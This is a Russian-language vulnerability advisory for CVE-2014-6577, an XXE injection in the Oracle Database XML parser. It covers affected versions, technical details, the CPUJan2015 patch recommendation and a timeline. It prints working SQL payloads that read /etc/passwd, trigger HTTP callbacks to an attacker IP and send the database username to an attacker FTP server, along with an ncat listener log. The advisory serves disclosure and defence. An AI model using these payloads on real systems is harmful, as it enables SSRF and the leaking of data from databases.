Описание уязвимости CVE-2014-6577 (XXE-инъекция в Oracle Database)

Описание уязвимости CVE-2014-6577 (XXE-инъекция в Oracle Database)

Модуль XML-парсера базы данных Oracle уязвим к XXE-инъекции (XML External Entity).

Автор: Khai Tran

Описание уязвимости

Модуль XML-парсера базы данных Oracle уязвим к XXE-инъекции (XML External Entity).

Уязвимые версии: 11.2.0.3, 11.2.0.4, 12.1.0.1 и 12.1.0.2

Необходимый уровень привилегий: Создание сессии

Технические детали

Из-за настроек безопасности XML-парсера в Oracle внешняя схема преобразуется (resolve), но не анализируется. Таким образом, предотвращается использование некоторых типов XXE-инъекций, например, связанных с чтение локальных файлов на удаленном сервере базы данных. Однако злоумышленник может отослать специальный SQL-запрос для вызова XML Resolver'а, заставляя сервер соединиться с удаленным ресурсом через HTTP или FTP. Этот трюк позволяет просачиваться информации через посторонние каналы, выполнять сканирование портов на удаленных внутренних системах, выполнять SSRF-атаки (Server-Side Request Forgery, Межсерверная подделка запросов) или создавать условия для DoS-атак.

Уязвимые обработчики URI:

· http:

· ftp:

XML-парсер в Oracle может быть вызван при помощи функции extractvalue() для объекта xmltype. Ниже показан пример запроса с простейшей полезной нагрузкой в XXE-инъекции:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "etc/passwd">]>'|| '&' ||'xxe;'),'/l') from dual;

Если выполнить вышеуказанный запрос, возникнет следующая ошибка:

ORA-31001: Invalid resource handle or path name "/etc/passwd"
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31001. 00000 - "Invalid resource handle or path name \"%s\""
*Cause: An invalid resource handle or path name was passed to
the XDB hierarchical resolver.
*Action: Pass a valid resouce handle or path name to the hierarchical
resolver.

Ошибка возникает по причине того, что обработчик FILE URI конвертируется в путь к XDB Repository. Однако изменение запроса и использование обработчика HTTP URI вызывает другую ошибку.

Пример:

select extractvalue(xmltype('<!ENTITY xxe SYSTEM "http://IP/test">]>'|| '&' ||'xxe;'),'/l') from dual;

Возникает следующая ошибка:

ORA-31020: The operation is not allowed,
Reason: For security reasons, ftp and http access over XDB repository is not allowed on server side
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31020. 00000 - "The operation is not allowed, Reason: %s"
*Cause: The operation attempted is not allowed
*Action: See reason and change to a valid operation.

Ошибка, приведенная выше, означает, что обработчики FTP URI или HTTP URI могут быть приняты XML-парсером. Обратите внимание, что запрос, приведенный выше, не отсылает никакие HTTP-запросы к системе злоумышленника. Давайте рассмотрим еще одну полезную нагрузку, которая привязана к Parameter Entity вместо Document Entity:

select extractvalue(xmltype('<?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "
http://IP/test"> %remote; %param1;]>'),'/l') from dual;

При запуске запроса выше на сервере баз данных возникнет та же сама ошибка (ORA-31020). Однако в этот раз сервер отсылает HTTP-запрос на ресурс с именем «test». Ниже приведен лог HTTP-запросов с сервера злоумышленника:

ncat -lvp 80
Ncat: Version 6.25 ( http://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from DB_IP.
Ncat: Connection from DB_IP:27320.
GET /test HTTP/1.0
Host: DB_IP
Content-Type: text/plain; charset=utf-8

Обычно злоумышленнику требуется привилегированный доступ к пакету UTL_HTTP для того, чтобы спровоцировать сервер на создание HTTP-запросов к внешнему ресурсу. Поскольку функция extractvalue() доступна всем пользователям, XXE-инъекция предоставляет еще один способ отсылки «внеплановых» запросов без использования дополнительных привилегий.

Обработчик FTP URI (ftp:) также может использоваться для вызова XML Resolver’a в Oracle. Запрос, приведенный ниже, отсылает имя пользователя базы данных как имя пользователя FTP-сервера:

select extractvalue(xmltype('<?xml version="1.0" encoding="
UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "
ftp://'||user||':bar@IP/test"> %remote; %param1;]>'),'/l') from dual;

После запуска запроса возникает следующая ошибка (обратите внимание, что код ошибки отличается, поскольку предоставленные учетные данные не могут быть использованы для авторизации на удаленном FTP-сервере).

ORA-31011: XML parsing failed
ORA-19202: Error occurred in XML processing
LPX-00202: could not open "ftp://SYSTEM:bar@IP/test" (error 402)
Error at line 1
ORA-06512: at "SYS.XMLTYPE", line 310
ORA-06512: at line 1
31011. 00000 - "XML parsing failed"
*Cause: XML parser returned an error while trying to parse the document.
*Action: Check if the document to be parsed is valid.

Имя пользователя базы данных включено в FTP-трафик и отсылается на сервер злоумышленника как имя пользователя FTP-сервера:

Рисунок 1: Попытка соединения с FTP-сервером при помощи учетной записи базы данных

Рекомендации

Установите обновление CPUJan2015, выпущенное компанией Oracle.

Хронология событий

3 июля 2014 года: обнаружена уязвимость.

20 января 2015 года: выпущено обновление.

Ссылки

http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html

http://vsecurity.com/download/papers/XMLDTDEntityAttacks.pdf

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf

http://docs.oracle.com/cd/B12037_01/appdev.101/b10790/xdb18res.htm

http://docs.oracle.com/cd/A97630_01/appdev.920/a96620/xdb17fol.htm#1039066

Большой брат следит за вами, но мы знаем, как остановить его

Подпишитесь на наш канал!